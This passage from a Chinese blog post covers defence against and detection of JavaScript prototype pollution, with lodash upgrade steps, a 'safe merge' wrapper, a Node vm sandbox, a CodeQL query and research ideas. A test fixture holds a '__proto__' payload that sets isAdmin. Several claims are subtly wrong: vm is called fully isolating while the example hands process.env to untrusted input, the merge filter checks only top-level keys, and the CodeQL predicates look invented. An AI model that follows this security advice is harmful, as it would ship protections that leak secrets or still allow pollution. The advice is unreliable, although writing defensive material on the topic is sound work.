📌 重要认知升级:原型污染不是“注入”,而是“继承劫持”——攻击者利用的是语言本身的设计逻辑来实现破坏,因此修复难度远高于普通注入类漏洞。


4.2 从CTF视角看防御与检测策略

在CTF竞赛中,原型污染往往作为隐藏入口点出现,常配合其他漏洞(如命令执行、文件读取)完成提权或信息泄露。因此,构建一套完整的“攻防闭环”体系至关重要。

以下是从实战出发的四层防御框架,适用于开发与比赛双场景:


✅ 1. 代码审计:主动识别高危函数调用

🔍 常见危险函数清单(必须重点审查)

函数 风险等级 是否易受污染
lodash.merge(target, source) ⚠️ 高 ✅ 极易(尤其旧版本)
Object.assign(target, source) ⚠️ 中高 ✅ 可能(若source含__proto__
_.mergeWith(...) ⚠️ 高 ✅ 同上
JSON.parse() + 合并操作 ⚠️ 中 ❗注意:JSON.parse会忽略__proto__,但可被其他方式绕过
eval() 或动态执行代码 🔥 极高 ✅ 严重风险

🧩 审计技巧:使用正则匹配潜在漏洞点

# 在项目根目录执行以下命令,扫描所有使用 merge/assign 的地方
grep -rE "(merge|assign)\s*\(\s*[^)]+,\s*[^)]+\)" . --include="*.js" --exclude-dir={node_modules,.git}复制

💡 提示:结合 npx grep -r "__proto__" 查找是否显式处理该字段。


✅ 2. 依赖管理:强制升级关键库版本

📦 最佳实践:升级至安全版本

  • lodash ≥ 4.17.11:官方已修复原型污染问题。

    • 修复原理:在 merge 函数中加入对 __proto__constructorprototype 的特殊判断。
    • GitHub PR #4658

🔗 官方发布页面:https://github.com/lodash/lodash/releases/tag/4.17.11

🛠 升级命令(NPM)

npm install lodash@latest
# 强制更新 package-lock.json
npm install lodash --save --force复制

⚠️ 请勿使用 npm update,可能不会升级到最新版。推荐使用 npm install lodash@latest 显式指定。


✅ 3. 运行时保护:引入安全封装与沙箱机制

🛡️ 方案一:自定义安全合并函数(推荐用于CTF场景)

// safe-merge.js
const _ = require('lodash');

/**
 * 安全合并函数:过滤非法原型字段
 * @param {Object} target - 目标对象
 * @param {Object} source - 源对象
 * @returns {Object} 合并后的新对象
 */
function safeMerge(target, source) {
    // 定义应被禁止的非法键名
    const forbiddenKeys = ['__proto__', 'constructor', 'prototype'];

    // 提取源对象中非非法键的属性
    const filteredSource = _.pickBy(source, (value, key) => !forbiddenKeys.includes(key));

    // 安全合并
    return _.merge(target, filteredSource);
}

module.exports = safeMerge;复制

🧪 测试用例(验证有效性)

// test-safe-merge.js
const safeMerge = require('./safe-merge');

const target = {};
const maliciousSource = {
    '__proto__': { isAdmin: true },
    'constructor': { toString: () => 'evil' },
    'prototype': { name: 'hack' }
};

console.log("Before:", {}.isAdmin); // undefined

safeMerge(target, maliciousSource);

console.log("After:", {}.isAdmin); // undefined ✅ 未被污染复制

✅ 结果:isAdmin 未被注入,证明防护生效。


🛡️ 方案二:使用 VM 沙箱隔离不可信数据

对于接收用户输入并动态解析的场景,强烈建议使用 Node.js 内置的 vm 模块进行隔离。

// sandbox.js
const vm = require('vm');

function evaluateUnsafeInput(inputStr) {
    const context = {
        console: console,
        process: { env: process.env }, // 可选择性暴露部分环境
        // 不允许访问全局对象
    };

    const script = new vm.Script(inputStr);

    try {
        const result = script.runInNewContext(context);
        return result;
    } catch (err) {
        console.error("Sandbox execution failed:", err.message);
        return null;
    }
}

// 示例:安全地执行用户输入的表达式
const userInput = `Math.pow(2, 3) + 1`;
evaluateUnsafeInput(userInput); // ✅ 安全执行复制

📌 优势:完全隔离外部环境,防止原型污染扩散至主进程。

📌 注意事项:

  • 不要将 globalprocess 完全暴露给沙箱;
  • 使用 runInNewContext 而非 runInThisContext
  • 可结合 sandboxed-module 库增强安全性。

🔗 工具推荐:https://github.com/yeoman/sandboxed-module


✅ 4. 检测工具集成:自动化静态分析

在CI/CD流程中集成以下工具,实现漏洞早期发现:

工具 功能 下载地址 推荐使用方式
npm audit 检查依赖包是否存在已知漏洞 内建于 npm npm audit
snyk 静态扫描 + 自动修复建议 https://snyk.io snyk test
CodeQL 基于控制流图的高级漏洞分析 https://github.com/github/codeql codeql database create + codeql query run

🧪 CODEQL 示例:检测原型污染模式

// prototype-pollution.ql
import javascript

from MethodCall mc, Call c
where
  c.getMethod().getName() = "merge" and
  c.getArgumentCount() >= 2 and
  c.getArgument(1).hasType("Object") and
  c.getArgument(1).getExpression().hasChildNamed("__proto__")
select c, "Potential prototype pollution via __proto__ in merge()"复制

📌 使用方法:

  1. 安装 CodeQL CLI:https://github.com/github/codeql
  2. 创建数据库:codeql database create --language=javascript js-db
  3. 执行查询:codeql query run prototype-pollution.ql -d js-db

✅ 输出结果将标记所有可疑的 merge 调用点,支持导出 JSON/SARIF 格式用于CI系统。


4.3 对未来研究方向的展望

随着前端架构复杂化和语言演进,原型污染的研究已进入“智能化”阶段。以下是值得深入探索的方向:


🔬 研究方向一:ProxyReflect 对原型污染的影响

现代 JavaScript 引入了 ProxyReflect API,它们改变了对象访问的行为。我们需研究:

  • new Proxy({}, { get(target, prop) { ... } }) 是否会影响原型链查找?
  • Reflect.set(proxy, '__proto__', value) 是否能污染原型?

🧪 实验代码验证

const handler = {
    get(target, prop) {
        console.log(`Accessing ${prop}`);
        return target[prop];
    }
};

const proxy = new Proxy({}, handler);

// 尝试设置 __proto__
Reflect.set(proxy, '__proto__', { evil: true });

console.log({}.evil); // ❌ 未输出,说明无法通过 Reflect.set 污染复制

🔍 结论:Reflect.set(proxy, '__proto__', ...) 不会触发原型污染,因为代理对象自身不参与原型链查找。

📌 潜在突破点:能否通过 proxy.target.__proto__ 来间接污染?需进一步测试。


🔬 研究方向二:WebAssembly 与 V8 引擎的原型链差异

  • 问题:WASM 是否共享相同的原型链结构?

  • 实验思路

    • 在 WASM 模块中尝试访问 __proto__
    • 检查 Object.prototype 是否跨模块共享;
    • 分析 V8 引擎对原型链的优化策略(如内联缓存)。

📌 潜在价值:某些 WASM 环境下可能存在“原型链隔离”机制,可用于构建更安全的运行时。


🔬 研究方向三:基于控制流图(CFG)的自动化原型污染探测器

当前主流工具依赖关键词匹配(如 merge__proto__),但存在误报率高、漏报多的问题。

🎯 目标:构建一个能够理解语义的原型污染探测器

技术路径

  1. 使用 AST(抽象语法树)解析源码;
  2. 构建控制流图(CFG);
  3. merge 函数调用节点中,追踪 source 参数的数据流向;
  4. 判断是否包含 __proto__ 字段,并且该字段值是否来自用户输入;
  5. 若满足条件,则标记为高风险点。

🛠 工具栈推荐

工具 用途
esprima 解析 JS 代码生成 AST
ast-types 操纵和遍历 AST
graphviz 可视化控制流图
flow-analysis 实现数据流分析

📊 示例:简单的数据流分析伪代码

function analyzeMergeFlow(ast) {
    const mergeCalls = findNodes(ast, node => node.type === 'CallExpression' && node.callee.name === 'merge');

    mergeCalls.forEach(call => {
        const sourceArg = call.arguments[1];

        if (isUserInput(sourceArg)) {
            const hasProtoKey = containsKey(sourceArg, '__proto__');
            if (hasProtoKey) {
                reportRisk(call, "Potential prototype pollution from user input");
            }
        }
    });
}复制

✅ 优势:可精准定位污染源头,减少误报。


🎯 总结:从“被动修复”到“主动预防”

阶段 特征 代表做法
被动修复 漏洞爆发后才补丁 lodash 升级
主动检测 代码提交前扫描 npm audit
智能预警 基于语义分析 CodeQL / CFG 分析
自动防御 运行时自动拦截 沙箱 + 安全包装函数

🚀 未来愿景:建立一个原型污染智能防护系统,集成了:

  • 自动化漏洞发现;
  • 动态污染传播路径追踪;
  • 实时告警与阻断;
  • 与 CI/CD 流水线无缝集成。

最终提醒
原型污染虽源于语言特性,但并非不可防御。通过严格的依赖管理 + 安全编码习惯 + 智能分析工具,完全可以将其控制在可控范围内。
在 CTF 中,它既是“隐藏宝藏”,也是“致命陷阱”——掌握它,你就能成为真正的攻防专家。

返回首页

posted @ 2025-10-29 15:47  云梦花溪,王者武库  阅读(49)  评论(0)    收藏  举报